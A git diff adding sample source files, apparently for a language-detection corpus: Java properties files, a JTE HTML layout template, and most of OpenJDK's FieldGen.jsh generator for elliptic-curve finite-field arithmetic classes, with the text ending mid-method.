+(matrix/print A)
+
+(loop (i :range (0 nr) j :range (0 nc)) 
+      (matrix/set** A i j i))
+(matrix/print A)
+
+
+(printf "properties:\n%p" (tarray/properties (A :array)))
+(for i 0 nr  
+     (printf "row properties:[%i]\n%p" i (tarray/properties (matrix/row A i))))
+(for i 0 nc  
+     (printf "col properties:[%i]\n%p" i (tarray/properties (matrix/column A i))))
+
+
+
+
+
+
+
diff --git a/samples/Java Properties/libraries.properties b/samples/Java Properties/libraries.properties
new file mode 100644
index 0000000000..d7f74bb9df
--- /dev/null
+++ b/samples/Java Properties/libraries.properties	
@@ -0,0 +1,33 @@
+# Copyright (c) 2009-2011  Couchbase, Inc.
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy of
+# this software and associated documentation files (the "Software"), to deal in
+# the Software without restriction, including without limitation the rights to
+# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+# of the Software, and to permit persons to whom the Software is furnished to do
+# so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+checkstyle.version=5.0
+
+findbugs.version=1.3.9
+
+ivy.version=2.2.0
+mvn.version=2.0.10
+
+jmock.version=1.2.0
+junit.version=4.7
+log4j.version=1.2.16
+slf4j.version=1.7.5
+spring-beans.version=3.0.3.RELEASE
+codahale.metrics.version=3.0.1
diff --git a/samples/Java Properties/sounds.properties b/samples/Java Properties/sounds.properties
new file mode 100644
index 0000000000..d35a35356e
--- /dev/null
+++ b/samples/Java Properties/sounds.properties	
@@ -0,0 +1,15 @@
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you
+# may not use this file except in compliance with the License.  You may
+# obtain a copy of the License at
+#
+#	http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+# implied.  See the License for the specific language governing
+# permissions and limitations under the License.
+#
+Dink:net/rptools/maptool/client/sound/dink.mp3
+Clink:net/rptools/maptool/client/sound/clink.mp3
diff --git a/samples/Java Template Engine/baseLayout.jte b/samples/Java Template Engine/baseLayout.jte
new file mode 100644
index 0000000000..8a535591de
--- /dev/null
+++ b/samples/Java Template Engine/baseLayout.jte	
@@ -0,0 +1,81 @@
+@import static org.example.common.utils.JteHelper.*
+@import static org.example.global.ExampleConstants.*
+@import gg.jte.Content
+
+@param String pageTitle = null
+@param Content body
+
+!{pageTitle = pageTitle == null ? APP_NAME : pageTitle;}
+
+!{addCssFile("main");}
+!{addScriptFile("layout");}
+
+!{var renderedBody = preRenderContent(body);}
+<!DOCTYPE html>
+<html lang="${getLang()}" data-template="jte">
+<head>
+	<title>${pageTitle}</title>
+
+	<meta charset="utf-8"/>
+	<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/>
+
+	<link rel="icon" href="${assetHelper().path("favicon.ico")}"/>
+	<link rel="stylesheet" href="${assetHelper().path("js/jquery-ui.css")}"/>
+
+	@for(var resource : assetHelper().bundle("globals").getAssets().getCss())
+    <link rel="stylesheet" href="${assetHelper().bundlePath(resource)}"/>
+	@endfor
+
+	<%--	Ensure our css files have precedence over global ones --%>
+	@for(var file : getCssFiles())
+		<link rel="stylesheet" href="${assetHelper().path("css/" + file + ".css")}" />
+	@endfor
+
+	@for(var file : getBundleFiles())
+		@for(var resource : assetHelper().bundle(file).getAssets().getCss())
+			<link rel="stylesheet" href="${assetHelper().bundlePath(resource)}"/>
+		@endfor
+	@endfor
+
+	@for(var style : getInlineStyles())
+		${style}
+	@endfor
+</head>
+<body>
+<script>
+	window.FTC_ENV = ${jsonEncode(ftcEnv())};
+</script>
+@for(var resource : assetHelper().bundle("sentry").getAssets().getJs())
+	<script src="${assetHelper().bundlePath(resource)}" type="module"></script>
+@endfor
+<script src="${assetHelper().path("translations/" + getLang() + ".js")}"></script>
+<script src="${assetHelper().path("js/jquery-1.12.4.js")}"></script>
+<script src="${assetHelper().path("js/jquery-ui.js")}"></script>
+<script src="${assetHelper().path("bootstrap/js/bootstrap.bundle.min.js")}"></script>
+<script src="${assetHelper().path("bootstrap/js/bootstrap-table.min.js")}"></script>
+<script src="${assetHelper().path("js/general.js")}"></script>
+@for(var resource : assetHelper().bundle("globals").getAssets().getJs())
+	<script src="${assetHelper().bundlePath(resource)}" type="module"></script>
+@endfor
+
+$unsafe{renderedBody}
+
+@for(var file : getScriptFiles())
+	<script src="${assetHelper().path("js/" + file + ".js")}"></script>
+@endfor
+@for(var file : getDeferScriptFiles())
+<%-- Defer to ensure it runs *after* globals have loaded --%>
+	<script src="${assetHelper().path("js/" + file + ".js")}" defer></script>
+@endfor
+
+@for(var script : getInlineScripts())
+	${script}
+@endfor
+
+@for(var file : getBundleFiles())
+	@for(var resource : assetHelper().bundle(file).getAssets().getJs())
+		<script src="${assetHelper().bundlePath(resource)}" type="module"></script>
+	@endfor
+@endfor
+</body>
+</html>
diff --git a/samples/Java/FieldGen.jsh b/samples/Java/FieldGen.jsh
new file mode 100644
index 0000000000..4824b78ed6
--- /dev/null
+++ b/samples/Java/FieldGen.jsh
@@ -0,0 +1,851 @@
+/*
+ * Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved.
+ * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+ *
+ * This code is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 2 only, as
+ * published by the Free Software Foundation.
+ *
+ * This code is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ * version 2 for more details (a copy is included in the LICENSE file that
+ * accompanied this code).
+ *
+ * You should have received a copy of the GNU General Public License version
+ * 2 along with this work; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ * or visit www.oracle.com if you need additional information or have any
+ * questions.
+ */
+
+
+/*
+ * This file is used to generated optimized finite field implementations.
+ * Required settings are included in the file. To generate, use jshell:
+ * jshell < FieldGen.jsh
+ */
+
+import java.io.*;
+import java.math.BigInteger;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.*;
+
+public class FieldGen {
+
+    static FieldParams Curve25519 = new FieldParams("IntegerPolynomial25519", 26, 10, 1, 255,
+    Arrays.asList(
+    new Term(0, -19)
+    ),
+    Curve25519CrSequence(), simpleSmallCrSequence(10)
+    );
+
+    private static List<CarryReduce> Curve25519CrSequence() {
+        List<CarryReduce> result = new ArrayList<CarryReduce>();
+
+        // reduce(7,2)
+        result.add(new Reduce(17));
+        result.add(new Reduce(18));
+
+        // carry(8,2)
+        result.add(new Carry(8));
+        result.add(new Carry(9));
+
+        // reduce(0,7)
+        for (int i = 10; i < 17; i++) {
+            result.add(new Reduce(i));
+        }
+
+        // carry(0,9)
+        result.addAll(fullCarry(10));
+
+        return result;
+    }
+
+    static FieldParams Curve448 = new FieldParams("IntegerPolynomial448", 28, 16, 1, 448,
+    Arrays.asList(
+    new Term(224, -1),
+    new Term(0, -1)
+    ),
+    Curve448CrSequence(), simpleSmallCrSequence(16)
+    );
+
+    private static List<CarryReduce> Curve448CrSequence() {
+        List<CarryReduce> result = new ArrayList<CarryReduce>();
+
+        // reduce(8, 7)
+        for (int i = 24; i < 31; i++) {
+            result.add(new Reduce(i));
+        }
+        // reduce(4, 4)
+        for (int i = 20; i < 24; i++) {
+            result.add(new Reduce(i));
+        }
+
+        //carry(14, 2)
+        result.add(new Carry(14));
+        result.add(new Carry(15));
+
+        // reduce(0, 4)
+        for (int i = 16; i < 20; i++) {
+            result.add(new Reduce(i));
+        }
+
+        // carry(0, 15)
+        result.addAll(fullCarry(16));
+
+        return result;
+    }
+
+    static FieldParams P256 = new FieldParams("IntegerPolynomialP256", 26, 10, 2, 256,
+    Arrays.asList(
+    new Term(224, -1),
+    new Term(192, 1),
+    new Term(96, 1),
+    new Term(0, -1)
+    ),
+    P256CrSequence(), simpleSmallCrSequence(10)
+    );
+
+    private static List<CarryReduce> P256CrSequence() {
+        List<CarryReduce> result = new ArrayList<CarryReduce>();
+        result.addAll(fullReduce(10));
+        result.addAll(simpleSmallCrSequence(10));
+        return result;
+    }
+
+    static FieldParams P384 = new FieldParams("IntegerPolynomialP384", 28, 14, 2, 384,
+    Arrays.asList(
+    new Term(128, -1),
+    new Term(96, -1),
+    new Term(32, 1),
+    new Term(0, -1)
+    ),
+    P384CrSequence(), simpleSmallCrSequence(14)
+    );
+
+    private static List<CarryReduce> P384CrSequence() {
+        List<CarryReduce> result = new ArrayList<CarryReduce>();
+        result.addAll(fullReduce(14));
+        result.addAll(simpleSmallCrSequence(14));
+        return result;
+    }
+
+    static FieldParams P521 = new FieldParams("IntegerPolynomialP521", 28, 19, 2, 521,
+    Arrays.asList(new Term(0, -1)), P521CrSequence(), simpleSmallCrSequence(19)
+    );
+
+    private static List<CarryReduce> P521CrSequence() {
+        List<CarryReduce> result = new ArrayList<CarryReduce>();
+        result.addAll(fullReduce(19));
+        result.addAll(simpleSmallCrSequence(19));
+        return result;
+    }
+
+    static FieldParams O256 = new FieldParams("P256OrderField", 26, 10, 1, 256,
+    new BigInteger("26959946660873538059280334323273029441504803697035324946844617595567"),
+    orderFieldCrSequence(10), orderFieldSmallCrSequence(10)
+    );
+
+    static FieldParams O384 = new FieldParams("P384OrderField", 28, 14, 1, 384,
+    new BigInteger("1388124618062372383947042015309946732620727252194336364173"),
+    orderFieldCrSequence(14), orderFieldSmallCrSequence(14)
+    );
+
+    static FieldParams O521 = new FieldParams("P521OrderField", 28, 19, 1, 521,
+    new BigInteger("657877501894328237357444332315020117536923257219387276263472201219398408051703"),
+    o521crSequence(19), orderFieldSmallCrSequence(19)
+    );
+
+    private static List<CarryReduce> o521crSequence(int numLimbs) {
+
+        // split the full reduce in half, with a carry in between
+        List<CarryReduce> result = new ArrayList<CarryReduce>();
+        result.addAll(fullCarry(2 * numLimbs));
+        for (int i = 2 * numLimbs - 1; i >= numLimbs + numLimbs/2; i--) {
+            result.add(new Reduce(i));
+        }
+        // carry
+        for (int i = numLimbs; i < numLimbs + numLimbs / 2 - 1; i++) {
+            result.add(new Carry(i));
+        }
+        // rest of reduce
+        for (int i = numLimbs + numLimbs/2 - 1; i >= numLimbs; i--) {
+            result.add(new Reduce(i));
+        }
+        result.addAll(orderFieldSmallCrSequence(numLimbs));
+
+        return result;
+    }
+
+    private static List<CarryReduce> orderFieldCrSequence(int numLimbs) {
+        List<CarryReduce> result = new ArrayList<CarryReduce>();
+        result.addAll(fullCarry(2 * numLimbs));
+        result.add(new Reduce(2 * numLimbs - 1));
+        result.addAll(fullReduce(numLimbs));
+        result.addAll(fullCarry(numLimbs + 1));
+        result.add(new Reduce(numLimbs));
+        result.addAll(fullCarry(numLimbs));
+
+        return result;
+    }
+   private static List<CarryReduce> orderFieldSmallCrSequence(int numLimbs) {
+        List<CarryReduce> result = new ArrayList<CarryReduce>();
+        result.addAll(fullCarry(numLimbs + 1));
+        result.add(new Reduce(numLimbs));
+        result.addAll(fullCarry(numLimbs));
+        return result;
+    }
+
+    static final FieldParams[] ALL_FIELDS = {P256, P384, P521, O256, O384, O521};
+
+    public static class Term {
+        private final int power;
+        private final int coefficient;
+
+        public Term(int power, int coefficient) {
+            this.power = power;
+            this.coefficient = coefficient;
+        }
+
+        public int getPower() {
+            return power;
+        }
+
+        public int getCoefficient() {
+            return coefficient;
+        }
+
+        public BigInteger getValue() {
+            return BigInteger.valueOf(2).pow(power).multiply(BigInteger.valueOf(coefficient));
+        }
+
+    }
+
+    static abstract class CarryReduce {
+        private final int index;
+
+        protected CarryReduce(int index) {
+            this.index = index;
+        }
+
+        public int getIndex() {
+            return index;
+        }
+
+        public abstract void write(CodeBuffer out, FieldParams params, String prefix, Iterable<CarryReduce> remaining);
+    }
+
+    static class Carry extends CarryReduce {
+        public Carry(int index) {
+            super(index);
+        }
+
+        public void write(CodeBuffer out, FieldParams params, String prefix, Iterable<CarryReduce> remaining) {
+            carry(out, params, prefix, getIndex());
+        }
+    }
+
+    static class Reduce extends CarryReduce {
+        public Reduce(int index) {
+            super(index);
+        }
+
+        public void write(CodeBuffer out, FieldParams params, String prefix, Iterable<CarryReduce> remaining) {
+            reduce(out, params, prefix, getIndex(), remaining);
+        }
+    }
+
+    static class FieldParams {
+        private final String className;
+        private final int bitsPerLimb;
+        private final int numLimbs;
+        private final int maxAdds;
+        private final int power;
+        private final Iterable<Term> terms;
+        private final List<CarryReduce> crSequence;
+        private final List<CarryReduce> smallCrSequence;
+
+        public FieldParams(String className, int bitsPerLimb, int numLimbs, int maxAdds, int power,
+                           Iterable<Term> terms, List<CarryReduce> crSequence, List<CarryReduce> smallCrSequence) {
+            this.className = className;
+            this.bitsPerLimb = bitsPerLimb;
+            this.numLimbs = numLimbs;
+            this.maxAdds = maxAdds;
+            this.power = power;
+            this.terms = terms;
+            this.crSequence = crSequence;
+            this.smallCrSequence = smallCrSequence;
+        }
+
+        public FieldParams(String className, int bitsPerLimb, int numLimbs, int maxAdds, int power,
+                           BigInteger term, List<CarryReduce> crSequence, List<CarryReduce> smallCrSequence) {
+            this.className = className;
+            this.bitsPerLimb = bitsPerLimb;
+            this.numLimbs = numLimbs;
+            this.maxAdds = maxAdds;
+            this.power = power;
+            this.crSequence = crSequence;
+            this.smallCrSequence = smallCrSequence;
+
+            terms = buildTerms(term);
+        }
+
+        private Iterable<Term> buildTerms(BigInteger sub) {
+            // split a large subtrahend into smaller terms that are aligned with limbs
+            List<Term> result = new ArrayList<Term>();
+            BigInteger mod = BigInteger.valueOf(1 << bitsPerLimb);
+            int termIndex = 0;
+            while (!sub.equals(BigInteger.ZERO)) {
+                int coef = sub.mod(mod).intValue();
+                boolean plusOne = false;
+                if (coef > (1 << (bitsPerLimb - 1))) {
+                    coef = coef - (1 << bitsPerLimb);
+                    plusOne = true;
+                }
+                if (coef != 0) {
+                    int pow = termIndex * bitsPerLimb;
+                    result.add(new Term(pow, -coef));
+                }
+                sub = sub.shiftRight(bitsPerLimb);
+                if (plusOne) {
+                   sub = sub.add(BigInteger.ONE);
+                }
+                ++termIndex;
+            }
+            return result;
+        }
+
+        public String getClassName() {
+            return className;
+        }
+
+        public int getBitsPerLimb() {
+            return bitsPerLimb;
+        }
+
+        public int getNumLimbs() {
+            return numLimbs;
+        }
+
+        public int getMaxAdds() {
+            return maxAdds;
+        }
+
+        public int getPower() {
+            return power;
+        }
+
+        public Iterable<Term> getTerms() {
+            return terms;
+        }
+
+        public List<CarryReduce> getCrSequence() {
+            return crSequence;
+        }
+
+        public List<CarryReduce> getSmallCrSequence() {
+            return smallCrSequence;
+        }
+    }
+
+    static Collection<Carry> fullCarry(int numLimbs) {
+        List<Carry> result = new ArrayList<Carry>();
+        for (int i = 0; i < numLimbs - 1; i++) {
+            result.add(new Carry(i));
+        }
+        return result;
+    }
+
+    static Collection<Reduce> fullReduce(int numLimbs) {
+        List<Reduce> result = new ArrayList<Reduce>();
+        for (int i = numLimbs - 2; i >= 0; i--) {
+            result.add(new Reduce(i + numLimbs));
+        }
+        return result;
+    }
+
+    static List<CarryReduce> simpleCrSequence(int numLimbs) {
+        List<CarryReduce> result = new ArrayList<CarryReduce>();
+        for(int i = 0; i < 4; i++) {
+            result.addAll(fullCarry(2 * numLimbs - 1));
+            result.addAll(fullReduce(numLimbs));
+        }
+
+        return result;
+    }
+
+    static List<CarryReduce> simpleSmallCrSequence(int numLimbs) {
+        List<CarryReduce> result = new ArrayList<CarryReduce>();
+        // carry a few positions at the end
+        for (int i = numLimbs - 2; i < numLimbs; i++) {
+            result.add(new Carry(i));
+        }
+        // this carries out a single value that must be reduced back in
+        result.add(new Reduce(numLimbs));
+        // finish with a full carry
+        result.addAll(fullCarry(numLimbs));
+        return result;
+    }
+
+    private final String packageName;
+    private final String parentName;
+
+    public FieldGen(String packageName, String parentName) {
+        this.packageName = packageName;
+        this.parentName = parentName;
+    }
+
+    public static void main(String[] args) throws Exception {
+
+        FieldGen gen = new FieldGen("sun.security.util.math.intpoly", "IntegerPolynomial");
+        for(FieldParams p : ALL_FIELDS) {
+            gen.generateFile(p);
+        }
+    }
+
+    private void generateFile(FieldParams params) throws IOException {
+        String text = generate(params);
+        String fileName = params.getClassName() + ".java";
+        PrintWriter out = new PrintWriter(new FileWriter(fileName));
+        out.println(text);
+        out.close();
+    }
+
+    static class CodeBuffer {
+
+        private int nextTemporary = 0;
+        private Set<String> temporaries = new HashSet<String>();
+        private StringBuffer buffer = new StringBuffer();
+        private int indent = 0;
+        private Class lastCR;
+        private int lastCrCount = 0;
+        private int crMethodBreakCount = 0;
+        private int crNumLimbs = 0;
+
+        public void incrIndent() {
+            indent++;
+        }
+
+        public void decrIndent() {
+            indent--;
+        }
+
+        public void newTempScope() {
+            nextTemporary = 0;
+            temporaries.clear();
+        }
+
+        public void appendLine(String s) {
+            appendIndent();
+            buffer.append(s + "\n");
+        }
+
+        public void appendLine() {
+            buffer.append("\n");
+        }
+
+        public String toString() {
+            return buffer.toString();
+        }
+
+        public void startCrSequence(int numLimbs) {
+            this.crNumLimbs = numLimbs;
+            lastCrCount = 0;
+            crMethodBreakCount = 0;
+            lastCR = null;
+        }
+        /*
+         * Record a carry/reduce of the specified type. This method is used to
+         * break up large carry/reduce sequences into multiple methods to make
+         * JIT/optimization easier
+         */
+        public void record(Class type) {
+            if (type == lastCR) {
+                lastCrCount++;
+            } else {
+
+                if (lastCrCount >= 8) {
+                    insertCrMethodBreak();
+                }
+
+                lastCR = type;
+                lastCrCount = 0;
+            }
+        }
+
+        private void insertCrMethodBreak() {
+
+            appendLine();
+
+            // call the new method
+            appendIndent();
+            append("carryReduce" + crMethodBreakCount + "(r");
+            for(int i = 0; i < crNumLimbs; i++) {
+                append(", c" + i);
+            }
+            // temporaries are not live between operations, no need to send
+            append(");\n");
+
+            decrIndent();
+            appendLine("}");
+
+            // make the method
+            appendIndent();
+            append("void carryReduce" + crMethodBreakCount + "(long[] r");
+            for(int i = 0; i < crNumLimbs; i++) {
+                append (", long c" + i);
+            }
+            append(") {\n");
+            incrIndent();
+            // declare temporaries
+            for(String temp : temporaries) {
+                appendLine("long " + temp + ";");
+            }
+            append("\n");
+
+            crMethodBreakCount++;
+        }
+
+        public String getTemporary(String type, String value) {
+            Iterator<String> iter = temporaries.iterator();
+            if(iter.hasNext()) {
+                String result = iter.next();
+                iter.remove();
+                appendLine(result + " = " + value + ";");
+                return result;
+            } else {
+                String result = "t" + (nextTemporary++);
+                appendLine(type + " " + result + " = " + value + ";");
+                return result;
+            }
+        }
+
+        public void freeTemporary(String temp) {
+            temporaries.add(temp);
+        }
+
+        public void appendIndent() {
+            for(int i = 0; i < indent; i++) {
+                buffer.append("    ");
+            }
+        }
+
+        public void append(String s) {
+            buffer.append(s);
+        }
+    }
+
+    private String generate(FieldParams params) throws IOException {
+        CodeBuffer result = new CodeBuffer();
+        String header = readHeader();
+        result.appendLine(header);
+
+        if (packageName != null) {
+            result.appendLine("package " + packageName + ";");
+            result.appendLine();
+        }
+        result.appendLine("import java.math.BigInteger;");
+
+        result.appendLine("public class " + params.getClassName() + " extends " + this.parentName + " {");
+        result.incrIndent();
+
+        result.appendLine("private static final int BITS_PER_LIMB = " + params.getBitsPerLimb() + ";");
+        result.appendLine("private static final int NUM_LIMBS = " + params.getNumLimbs() + ";");
+        result.appendLine("private static final int MAX_ADDS = " + params.getMaxAdds() + ";");
+        result.appendLine("public static final BigInteger MODULUS = evaluateModulus();");
+        result.appendLine("private static final long CARRY_ADD = 1 << " + (params.getBitsPerLimb() - 1) + ";");
+        if (params.getBitsPerLimb() * params.getNumLimbs() != params.getPower()) {
+            result.appendLine("private static final int LIMB_MASK = -1 >>> (64 - BITS_PER_LIMB);");
+        }
+        int termIndex = 0;
+
+        result.appendLine("public " + params.getClassName() + "() {");
+        result.appendLine();
+        result.appendLine("    super(BITS_PER_LIMB, NUM_LIMBS, MAX_ADDS, MODULUS);");
+        result.appendLine();
+        result.appendLine("}");
+
+        result.appendLine("private static BigInteger evaluateModulus() {");
+        result.incrIndent();
+        result.appendLine("BigInteger result = BigInteger.valueOf(2).pow(" + params.getPower() + ");");
+        for(Term t : params.getTerms()) {
+            boolean subtract = false;
+            int coefValue = t.getCoefficient();
+            if (coefValue < 0) {
+                coefValue = 0 - coefValue;
+                subtract = true;
+            }
+            String coefExpr = "BigInteger.valueOf(" + coefValue + ")";
+            String powExpr = "BigInteger.valueOf(2).pow(" + t.getPower() + ")";
+            String termExpr = "ERROR";
+            if (t.getPower() == 0) {
+                termExpr = coefExpr;
+            } else if (coefValue == 1) {
+                termExpr = powExpr;
+            } else {
+                termExpr = powExpr + ".multiply(" + coefExpr + ")";
+            }
+            if (subtract) {
+                result.appendLine("result = result.subtract(" + termExpr + ");");
+            } else {
+                result.appendLine("result = result.add(" + termExpr + ");");
+            }
+        }
+        result.appendLine("return result;");
+        result.decrIndent();
+        result.appendLine("}");
+
+        result.appendLine("@Override");
+        result.appendLine("protected void finalCarryReduceLast(long[] limbs) {");
+        result.incrIndent();
+        int extraBits = params.getBitsPerLimb() * params.getNumLimbs() - params.getPower();
+        int highBits = params.getBitsPerLimb() - extraBits;
+        result.appendLine("long c = limbs[" + (params.getNumLimbs() - 1) + "] >> " + highBits + ";");
+        result.appendLine("limbs[" + (params.getNumLimbs() - 1) + "] -= c << " + highBits + ";");
+        for (Term t : params.getTerms()) {
+            int reduceBits = params.getPower() + extraBits - t.getPower();
+            int negatedCoefficient = -1 * t.getCoefficient();
+            modReduceInBits(result, params, true, "limbs", params.getNumLimbs(), reduceBits, negatedCoefficient, "c");
+        }
+        result.decrIndent();
+        result.appendLine("}");
+
+        // full carry/reduce sequence
+        result.appendIndent();
+        result.append("private void carryReduce(long[] r, ");
+        for(int i = 0; i < 2 * params.getNumLimbs() - 1; i++) {
+            result.append ("long c" + i);
+            if (i < 2 * params.getNumLimbs() - 2) {
+                result.append(", ");
+            }
+        }
+        result.append(") {\n");
+        result.newTempScope();
+        result.incrIndent();
+        result.appendLine("long c" + (2 * params.getNumLimbs() - 1) + " = 0;");
+        write(result, params.getCrSequence(), params, "c", 2 * params.getNumLimbs());
+        result.appendLine();
+        for (int i = 0; i < params.getNumLimbs(); i++) {
+            result.appendLine("r[" + i + "] = c" + i + ";");
+        }
+        result.decrIndent();
+        result.appendLine("}");
+
+        // small carry/reduce sequence
+        result.appendIndent();
+        result.append("private void carryReduce(long[] r, ");
+        for(int i = 0; i < params.getNumLimbs(); i++) {
+            result.append ("long c" + i);
+            if (i < params.getNumLimbs() - 1) {
+                result.append(", ");
+            }
+        }
+        result.append(") {\n");
+        result.newTempScope();
+        result.incrIndent();
+        result.appendLine("long c" + params.getNumLimbs() + " = 0;");
+        write(result, params.getSmallCrSequence(), params, "c", params.getNumLimbs() + 1);
+        result.appendLine();
+        for (int i = 0; i < params.getNumLimbs(); i++) {
+            result.appendLine("r[" + i + "] = c" + i + ";");
+        }
+        result.decrIndent();
+        result.appendLine("}");
+
+        result.appendLine("@Override");
+        result.appendLine("protected void mult(long[] a, long[] b, long[] r) {");
+        result.incrIndent();
+        for (int i = 0; i < 2 * params.getNumLimbs() - 1; i++) {
+            result.appendIndent();
+            result.append("long c" + i + " = ");
+            int startJ = Math.max(i + 1 - params.getNumLimbs(), 0);
+            int endJ = Math.min(params.getNumLimbs(), i + 1);
+            for (int j = startJ; j < endJ; j++) {
+                int bIndex = i - j;
+                result.append("(a[" + j + "] * b[" + bIndex + "])");
+                if (j < endJ - 1) {
+                    result.append(" + ");
+                }
+            }
+            result.append(";\n");
+        }
+        result.appendLine();
+        result.appendIndent();
+        result.append("carryReduce(r, ");
+        for (int i = 0; i < 2 * params.getNumLimbs() - 1; i++) {
+            result.append("c" + i);
+            if (i < 2 * params.getNumLimbs() - 2) {
+                result.append(", ");
+            }
+        }
+        result.append(");\n");
+        result.decrIndent();
+        result.appendLine("}");
+
+        result.appendLine("@Override");
+        result.appendLine("protected void reduce(long[] a) {");
+        result.incrIndent();
+        result.appendIndent();
+        result.append("carryReduce(a, ");
+        for (int i = 0; i < params.getNumLimbs(); i++) {
+            result.append("a[" + i + "]");
+            if (i < params.getNumLimbs() - 1) {
+                result.append(", ");
+            }
+        }
+        result.append(");\n");
+        result.decrIndent();
+        result.appendLine("}");
+
+        result.appendLine("@Override");
+        result.appendLine("protected void square(long[] a, long[] r) {");
+        result.incrIndent();
+        for (int i = 0; i < 2 * params.getNumLimbs() - 1; i++) {
+            result.appendIndent();
+            result.append("long c" + i + " = ");
+            int startJ = Math.max(i + 1 - params.getNumLimbs(), 0);
+            int endJ = Math.min(params.getNumLimbs(), i + 1);
+            int jDiff = endJ - startJ;
+            if (jDiff > 1) {
+                result.append("2 * (");
+            }
+            for (int j = 0; j < jDiff / 2; j++) {
+                int aIndex = j + startJ;
+                int bIndex = i - aIndex;
+                result.append("(a[" + aIndex + "] * a[" + bIndex + "])");
+                if (j < (jDiff / 2) - 1) {
+                    result.append(" + ");
+                }
+            }
+            if (jDiff > 1) {
+                result.append(")");
+            }
+            if (jDiff % 2 == 1) {
+                int aIndex = i / 2;
+                if (jDiff > 1) {
+                    result.append (" + ");
+                }
+                result.append("(a[" + aIndex + "] * a[" + aIndex + "])");
+            }
+            result.append(";\n");
+        }
+        result.appendLine();
+        result.appendIndent();
+        result.append("carryReduce(r, ");
+        for (int i = 0; i < 2 * params.getNumLimbs() - 1; i++) {
+            result.append("c" + i);
+            if (i < 2 * params.getNumLimbs() - 2) {
+                result.append(", ");
+            }
+        }
+        result.append(");\n");
+        result.decrIndent();
+        result.appendLine("}");
+
+        result.decrIndent();
+        result.appendLine("}"); // end class
+
+        return result.toString();
+    }
+
+    private static void write(CodeBuffer out, List<CarryReduce> sequence, FieldParams params, String prefix, int numLimbs) {
+
+        out.startCrSequence(numLimbs);
+        for (int i = 0; i < sequence.size(); i++) {
+            CarryReduce cr = sequence.get(i);
+            Iterator<CarryReduce> remainingIter = sequence.listIterator(i + 1);
+            List<CarryReduce> remaining = new ArrayList<CarryReduce>();
+            remainingIter.forEachRemaining(remaining::add);
+            cr.write(out, params, prefix, remaining);
+        }
+    }
+
+    private static void reduce(CodeBuffer out, FieldParams params, String prefix, int index, Iterable<CarryReduce> remaining) {
+
+        out.record(Reduce.class);
+
+        out.appendLine("//reduce from position " + index);
+        String reduceFrom = indexedExpr(false, prefix, index);
+        boolean referenced = false;
+        for (CarryReduce cr : remaining) {
+            if(cr.index == index) {
+                referenced = true;
+            }
+        }
+        for (Term t : params.getTerms()) {
+            int reduceBits = params.getPower() - t.getPower();
+            int negatedCoefficient = -1 * t.getCoefficient();
+            modReduceInBits(out, params, false, prefix, index, reduceBits, negatedCoefficient, reduceFrom);
+        }
+        if (referenced) {
+            out.appendLine(reduceFrom + " = 0;");
+        }
+    }
+
+    private static void carry(CodeBuffer out, FieldParams params, String prefix, int index) {
+
+        out.record(Carry.class);
+
+        out.appendLine("//carry from position " + index);
+        String carryFrom = prefix + index;
+        String carryTo = prefix + (index + 1);
+        String carry = "(" + carryFrom + " + CARRY_ADD) >> " + params.getBitsPerLimb();
+        String temp = out.getTemporary("long", carry);
+        out.appendLine(carryFrom + " -= (" + temp + " << " + params.getBitsPerLimb() + ");");
+        out.appendLine(carryTo + " += " + temp + ";");
+        out.freeTemporary(temp);
+    }
+
+    private static String indexedExpr(boolean isArray, String prefix, int index) {
+        String result = prefix + index;
+        if (isArray) {
+            result = prefix + "[" + index + "]";
+        }
+        return result;
+    }
+
+    private static void modReduceInBits(CodeBuffer result, FieldParams params, boolean isArray, String prefix, int index, int reduceBits, int coefficient, String c) {
+
+        String x = coefficient + " * " + c;
+        String accOp = "+=";
+        String temp = null;
+        if (coefficient == 1) {
+            x = c;
+        } else if (coefficient == -1) {
+            x = c;
+            accOp = "-=";
+        } else {
+            temp = result.getTemporary("long", x);
+            x = temp;
+        }
+
+        if (reduceBits % params.getBitsPerLimb() == 0) {
+            int pos = reduceBits / params.getBitsPerLimb();
+            result.appendLine(indexedExpr(isArray, prefix, (index - pos)) + " " + accOp + " " + x + ";");
+        } else {
+            int secondPos = reduceBits / params.getBitsPerLimb();
+            int bitOffset = (secondPos + 1) * params.getBitsPerLimb() - reduceBits;
+            int rightBitOffset = params.getBitsPerLimb() - bitOffset;
+            result.appendLine(indexedExpr(isArray, prefix, (index - (secondPos + 1))) + " " + accOp + " (" + x + " << " + bitOffset + ") & LIMB_MASK;");
+            result.appendLine(indexedExpr(isArray, prefix, (index - secondPos)) + " " + accOp + " " + x + " >> " + rightBitOffset + ";");
+        }
+
+        if (temp != null) {
+            result.freeTemporary(temp);
+        }
+    }
+
+    private String readHeader() throws IOException {
+        BufferedReader reader = Files.newBufferedReader(Paths.get("header.txt"));
+        StringBuffer result = new StringBuffer();
